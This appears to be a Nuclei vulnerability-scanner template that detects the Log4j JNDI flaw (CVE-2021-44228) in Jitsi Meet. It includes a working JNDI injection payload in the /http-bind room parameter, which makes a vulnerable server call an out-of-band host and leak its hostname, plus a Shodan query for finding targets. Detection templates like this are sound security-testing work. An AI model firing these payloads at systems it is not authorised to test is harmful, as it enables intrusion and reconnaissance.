nuclei-templates/http/vulnerabilities/other/jitsi-meet-log4j-rce.yaml

63 lines
2.0 KiB
YAML
Raw Permalink Normal View History

2023-10-18 20:00:15 +00:00
id: jitsi-meet-log4j-rce
info:
name: Jitsi Meet - Remote Code Execution (Apache Log4j)
2023-10-19 07:28:29 +00:00
author: shaikhyaser
2023-10-18 20:00:15 +00:00
severity: critical
description: |
Jitsi Meet is susceptible to Log4j JNDI remote code execution. Jitsi is a collection of free and open-source multiplatform voice, video conferencing and instant messaging applications for the Web platforms.
reference:
- https://github.com/jitsi/security-advisories/blob/4e1ab58585a8a0593efccce77d5d0e22c5338605/advisories/JSA-2021-0004.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
metadata:
max-request: 1
shodan-query: title:"Jitsi Meet"
2023-10-18 20:00:15 +00:00
tags: cve,cve2021,rce,jndi,log4j,jitsi,oast,kev
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
2023-10-19 07:28:29 +00:00
str: "{{rand_base(5)}}"
2023-10-18 20:00:15 +00:00
http:
- raw:
- |
2023-10-19 07:28:29 +00:00
GET /http-bind?room=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
2023-10-18 20:00:15 +00:00
Host: {{Hostname}}
Origin: {{RootURL}}
Referer: {{RootURL}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-10-18 20:00:15 +00:00
extractors:
- type: kval
kval:
2023-11-17 08:48:58 +00:00
- interactsh_ip
2023-10-18 20:00:15 +00:00
- type: regex
2023-11-17 08:48:58 +00:00
part: interactsh_request
2023-10-18 20:00:15 +00:00
group: 2
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-10-18 20:00:15 +00:00
- type: regex
2023-11-17 08:48:58 +00:00
part: interactsh_request
2023-10-18 20:00:15 +00:00
group: 1
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a0047304502203465904927585143210ad11151357a290f5bf5223975073ceb732e375c09c6b3022100ed18efce0aa5306d76a7350fa729494c1ab6fe0282b97cbd3a2e86e8ad2f327d:922c64590222798bb761d5b6d8e72950